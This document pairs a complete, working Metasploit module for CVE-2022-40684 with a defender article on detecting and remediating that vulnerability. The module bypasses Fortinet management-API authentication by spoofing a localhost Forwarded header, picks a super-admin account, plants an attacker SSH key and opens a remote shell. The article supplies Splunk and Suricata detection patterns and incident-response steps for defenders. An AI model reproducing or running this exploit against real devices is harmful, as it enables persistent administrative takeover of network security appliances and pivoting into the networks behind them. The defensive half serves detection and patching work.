Fortinet FortiOS, FortiProxy, and FortiSwitchManager 7.2.0 - Authentication bypass
# Exploit Title: Fortinet FortiOS, FortiProxy, and FortiSwitchManager 7.2.0 - Authentication bypass
# Date: 2022-10-10
# Exploit Author: Zach Hanley, SC
# Vendor Homepage: https://www.fortinet.com
# Version: 7.0.0
# Tested on: Linux
# CVE : CVE-2022-40684
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SSH
prepend Msf::Exploit::Remote::AutoCheck
attr_accessor :ssh_socket
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.',
'Description' => %q{
This module exploits an authentication bypass vulnerability
in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API
to gain access to a chosen account. And then add a SSH key to the
authorized_keys file of the chosen account, allowing
to login to the system with the chosen account.
Successful exploitation results in remote code execution.
},
'Author' => [
'Heyder Andrade <@HeyderAndrade>', # Metasploit module
'Zach Hanley <@hacks_zach>', # PoC
],
'References' => [
['CVE', '2022-40684'],
['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-377'],
['URL', 'https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684'],
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2022-10-10', # Vendor advisory
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Privileged' => true,
'Targets' => [
[
'FortiOS',
{
'DefaultOptions' => {
'PAYLOAD' => 'generic/ssh/interact'
},
'Payload' => {
'Compat' => {
'PayloadType' => 'ssh_interact'
}
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK # SSH key is added to authorized_keys file
]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the Fortinet CMDB API', '/api/v2/cmdb/']),
OptString.new('USERNAME', [false, 'Target username (Default: auto-detect)', nil]),
OptString.new('PRIVATE_KEY', [false, 'SSH private key file path', nil]),
OptString.new('KEY_PASS', [false, 'SSH private key password', nil]),
OptString.new('SSH_RPORT', [true, 'SSH port to connect to', 22]),
OptBool.new('PREFER_ADMIN', [false, 'Prefer to use the admin user if one is detected', true])
]
)
end
def username
if datastore['USERNAME']
@username ||= datastore['USERNAME']
else
@username ||= detect_username
end
end
def ssh_rport
datastore['SSH_RPORT']
end
def current_keys
@current_keys ||= read_keys
end
def ssh_keygen
# ssh-keygen -t rsa -m PEM -f `openssl rand -hex 8`
if datastore['PRIVATE_KEY']
@ssh_keygen ||= Net::SSH::KeyFactory.load_data_private_key(
File.read(datastore['PRIVATE_KEY']),
datastore['KEY_PASS'],
datastore['PRIVATE_KEY']
)
else
@ssh_keygen ||= OpenSSL::PKey::EC.generate('prime256v1')
end
end
def ssh_private_key
ssh_keygen.to_pem
end
def ssh_pubkey
Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
end
def authorized_keys
pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
"#{ssh_keygen.ssh_type} #{pubkey} #{username}@localhost"
end
def fortinet_request(params = {})
send_request_cgi(
{
'ctype' => 'application/json',
'agent' => 'Report Runner',
'headers' => {
'Forwarded' => "for=\"[127.0.0.1]:#{rand(1024..65535)}\";by=\"[127.0.0.1]:#{rand(1024..65535)}\""
}
}.merge(params)
)
end
def check
vprint_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")
# a normal request to the API should return a 401
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
'ctype' => 'application/json'
})
return CheckCode::Unknown('Target did not respond to check.') unless res
return CheckCode::Safe('Target seems not affected by this vulnerability.') unless res.code == 401
# Trying to bypasss the authentication and get the sshkey from the current targeted user it should return a 200 if vulnerable
res = fortinet_request({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/system/status')
})
return CheckCode::Safe unless res&.code == 200
version = res.get_json_document['version']
print_good("Target is running the version #{version}, which is vulnerable.")
Socket.tcp(rhost, ssh_rport, connect_timeout: datastore['SSH_TIMEOUT']) { |sock| return CheckCode::Safe('However SSH is not open, so adding a ssh key wouldn\t give you access to the host.') unless sock }
CheckCode::Vulnerable('And SSH is running which makes it exploitable.')
end
def cleanup
return unless ssh_socket
# it assumes our key is the last one and set it to a random text. The API didn't respond to DELETE method
data = {
"ssh-public-key#{current_keys.empty? ? '1' : current_keys.size}" => '""'
}
fortinet_request({
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, '/system/admin/', username),
'data' => data.to_json
})
end
def detect_username
vprint_status('User auto-detection...')
res = fortinet_request(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/system/admin')
)
users = res.get_json_document['results'].collect { |e| e['name'] if (e['accprofile'] == 'super_admin' && e['trusthost1'] == '0.0.0.0 0.0.0.0') }.compact
# we prefer to use admin, but if it doesn't exist we chose a random one.
if datastore['PREFER_ADMIN']
vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, but if it isn't found we will pick a random one.")
users.include?('admin') ? 'admin' : users.sample
else
vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, we will get a random that is not the admin.")
(users - ['admin']).sample
end
end
def add_ssh_key
if current_keys.include?(authorized_keys)
# then we'll remove that on cleanup
print_good('Your key is already in the authorized_keys file')
return
end
vprint_status('Adding SSH key to authorized_keys file')
# Adding the SSH key as the last entry in the authorized_keys file
keystoadd = current_keys.first(2) + [authorized_keys]
data = keystoadd.map.with_index { |key, idx| ["ssh-public-key#{idx + 1}", "\"#{key}\""] }.to_h
res = fortinet_request({
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, '/system/admin/', username),
'data' => data.to_json
})
fail_with(Failure::UnexpectedReply, 'Failed to add SSH key to authorized_keys file.') unless res&.code == 500
body = res.get_json_document
fail_with(Failure::UnexpectedReply, 'Unexpected reponse from the server after adding the key.') unless body.key?('cli_error') && body['cli_error'] =~ /SSH key is good/
end
def read_keys
vprint_status('Reading SSH key from authorized_keys file')
res = fortinet_request({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/system/admin/', username)
})
fail_with(Failure::UnexpectedReply, 'Failed read current SSH keys') unless res&.code == 200
result = res.get_json_document['results'].first
['ssh-public-key1', 'ssh-public-key2', 'ssh-public-key3'].map do |key|
result[key].gsub('"', '') unless result[key].empty?
end.compact
end
def do_login(ssh_options)
# ensure we don't have a stale socket hanging around
ssh_options[:proxy].proxies = nil if ssh_options[:proxy]
begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
self.ssh_socket = Net::SSH.start(rhost, username, ssh_options)
end
rescue Rex::ConnectionError
fail_with(Failure::Unreachable, 'Disconnected during negotiation')
rescue Net::SSH::Disconnect, ::EOFError
fail_with(Failure::Disconnected, 'Timed out during negotiation')
rescue Net::SSH::AuthenticationFailed
fail_with(Failure::NoAccess, 'Failed authentication')
rescue Net::SSH::Exception => e
fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
end
fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
end
def exploit
print_status("Executing exploit on #{datastore['RHOST']}:#{datastore['RPORT']} target user: #{username}")
add_ssh_key
vprint_status('Establishing SSH connection')
ssh_options = ssh_client_defaults.merge({
auth_methods: ['publickey'],
key_data: [ ssh_private_key ],
port: ssh_rport
})
ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']
do_login(ssh_options)
handler(ssh_socket)
end
end Fortinet FortiOS / FortiProxy / FortiSwitchManager (CVE-2022-40684) — Authentication Bypass: Analysis, Detection, and Remediation
Executive summary
CVE-2022-40684 is an authentication-bypass vulnerability affecting Fortinet products’ management APIs that was publicly disclosed in October 2022. An attacker who can reach a vulnerable management API endpoint may be able to perform privileged actions without valid credentials, including adding an SSH public key to an administrative account — which can result in persistent remote access and full system compromise. This article explains the vulnerability at a technical level, outlines practical detection and mitigation measures, and provides incident-response guidance and best practices for defenders.
What happened (high-level)
The vulnerability permitted specially crafted requests to the Fortinet management API to be treated as if they originated from a trusted/local source, bypassing normal authentication checks. Once an attacker can perform privileged API operations, they can modify administrative settings — for example, installing an SSH public key for an admin user — enabling direct SSH access to the device or appliance as that account.
Why it’s serious
- Management-plane compromise: Successful exploitation targets the management API and can provide administrative control over the device.
- Persistence: Adding an SSH key yields persistent, account-level remote access that often survives reboots and many routine mitigations.
- Downstream risk: A compromised Fortinet device on your network can be used to pivot to internal systems, exfiltrate data, tamper with logging, or degrade security monitoring.
Affected products and versions
The issue impacted multiple Fortinet products (FortiOS, FortiProxy, FortiSwitchManager) as documented by the vendor advisory. Exact affected versions and patched releases are provided by Fortinet in their security advisory; administrators should consult the vendor advisory and apply the vendor-provided fixes immediately.
Technical root cause (concise and non-actionable)
At a conceptual level, the API’s request-validation logic trusted certain request characteristics that an attacker could spoof. When such crafted requests were accepted, API endpoints that normally require authentication allowed access. The attacker then leveraged permitted configuration APIs to add an SSH public key to a chosen administrative account, enabling SSH authentication with that key.
Potential impact
- Local or remote administrative access to the appliance
- Execution of arbitrary commands (via SSH or subsequent configuration changes)
- Persistent presence via authorized_keys or other admin credentials
- Compromise of management-plane integrity and confidentiality
Detection — what to look for
Detection focuses on three areas: anomalous management-API requests, unexpected changes to administrative accounts, and unexplained administrative SSH keys or sessions.
Network and web logs
Search web-server and proxy logs for anomalous HTTP(S) requests that target management APIs or include suspicious header patterns or uncommon User-Agent strings. Examples of defensive searches (adjust to your logging schema):
index=network_logs sourcetype=fortinet_http
("Report Runner" OR "ReportRunner" OR "Forwarded:")
| stats count by src_ip, dest_ip, uri, http_user_agent, _time
Explanation: This Splunk-style query looks for HTTP requests with a User-Agent often seen in nonstandard scanning or scripted requests and requests that include a Forwarded header — both may indicate attempts to manipulate request origin semantics. Tune to your environment and correlate with management IP addresses.
Host and configuration checks
Inspect administrative accounts and SSH key material on Fortinet appliances and any central management systems. Look for:
- Unexpected or recently added public keys associated with administrative accounts
- New or modified administrator users
- Unusual last-login timestamps or new SSH sessions from unfamiliar IPs
# Example (conceptual): query logs or configuration for added SSH keys or admin changes
# This is defensive pseudocode: search your management API logs/config dumps for changes to admin accounts
search logs where event_type IN ("admin.create","admin.update") AND time > relative_time(now(), "-7d")
| table time, actor, target_user, change_summary, source_ip
Explanation: The pseudocode above illustrates the defensive pattern: identify admin create/update events within a time window, then review the actor/source IP and specific changes (e.g., addition of public keys).
IDS / IPS signatures (defensive)
Detecting attack attempts at the network layer helps block exploitation attempts before they reach the device. Below is a schematic Suricata/IDS rule that you can adapt to your environment; this is defensive and meant to be tuned to reduce false positives.
# Defensive signature example (adapt and test before deployment)
alert http any any -> $MANAGEMENT_NETS any (msg:"Possible Fortinet management API abuse attempt"; \
http_header; content:"Report Runner"; nocase; \
http_header; pcre:"/Forwarded:\s*for\s*=\s*\"\[?127\.0\.0\.1\]?/i"; \
classtype:attempted-admin; sid:1001001; rev:1;)
Explanation: This rule triggers on HTTP requests that include both a suspicious User-Agent string and a Forwarded header that claims a localhost origin. It is intended as a detection signal; tune network variables and thresholds for your environment.
Indicators of compromise (examples)
- New SSH public keys in administrative accounts that are not from known administrators
- Management API requests with unusual header combinations (e.g., forged forwarder headers)
- Unexpected change events to admin profiles (new trusthost values, changed access profiles)
- SSH logins from IP addresses that have not previously authenticated as administrators
Mitigation and remediation
- Apply vendor patches immediately. Follow Fortinet’s advisory and upgrade to patched versions. Patching is the authoritative remediation.
- Restrict management-plane exposure. Limit management APIs and GUI access to trusted networks or VPNs. Block direct internet access to management interfaces.
- Use strong admin controls. Enforce multifactor authentication for administrative accounts where supported and enforce least privilege for admin profiles.
- Disable unnecessary services/APIs. If a management API is not required, disable it or block it at the network edge.
- Rotate credentials and keys. After patching, rotate administrative passwords and SSH keys for any potentially affected accounts.
- Revoke unauthorized keys and accounts. Manually remove any unexpected SSH public keys from admin accounts and investigate their origin.
- Harden firewall and access rules. Limit SSH and management-port access to specific, audited jump hosts or IPs.
Incident response playbook (recommended steps)
- Isolate affected devices from management networks if compromise is suspected.
- Capture forensic artifacts: configuration snapshots, management API logs, system logs, and running process lists.
- Identify unauthorized admin changes and the timeline (when keys/users were added or modified).
- Rotate all relevant credentials and remove unauthorized SSH keys; consider revoking and reissuing any certificates used by the appliance.
- Reimage or restore from a known-good backup when you cannot conclusively rule out persistent compromise.
- Perform full network scans to identify lateral movement from the compromised device.
- Notify stakeholders and comply with any legal or regulatory incident-reporting obligations.
Hardening and longer-term best practices
- Adopt network segmentation for management interfaces (dedicated management VLANs, jump boxes, and bastion hosts).
- Enable centralized logging and long retention for management-plane activity to support investigation and auditing.
- Regularly audit administrative accounts and keys, and enforce an administrative access lifecycle (request, approval, expiration).
- Use automation to detect anomalous configuration changes (scripts or SIEM alerts on admin updates).
- Run routine vulnerability scans and track vendor advisories so you can apply patches quickly.
Further reading and references
| Source | Notes |
|---|---|
| Fortinet (vendor) | Official product and security advisories — follow vendor remediation guidance. |
| FortiGuard advisory (FG-IR-22-377) | Vendor PSIRT advisory for this issue and recommended patched releases. |
| Horizon3 technical write-up | Technical analysis and background (useful for defenders; avoid reproducing exploit code). |
Closing guidance
Devices that provide network security or management functionality are high-value targets: treat their management planes as critical infrastructure. For CVE-2022-40684 and similar issues, speed matters — apply vendor patches, isolate exposed management interfaces, and use layered detection to identify illicit changes early. If you suspect a compromise, follow a cautious IR path: collect evidence, remove persistence artifacts, rotate credentials, and consider full reinstallation where confidence in system cleanliness cannot be achieved.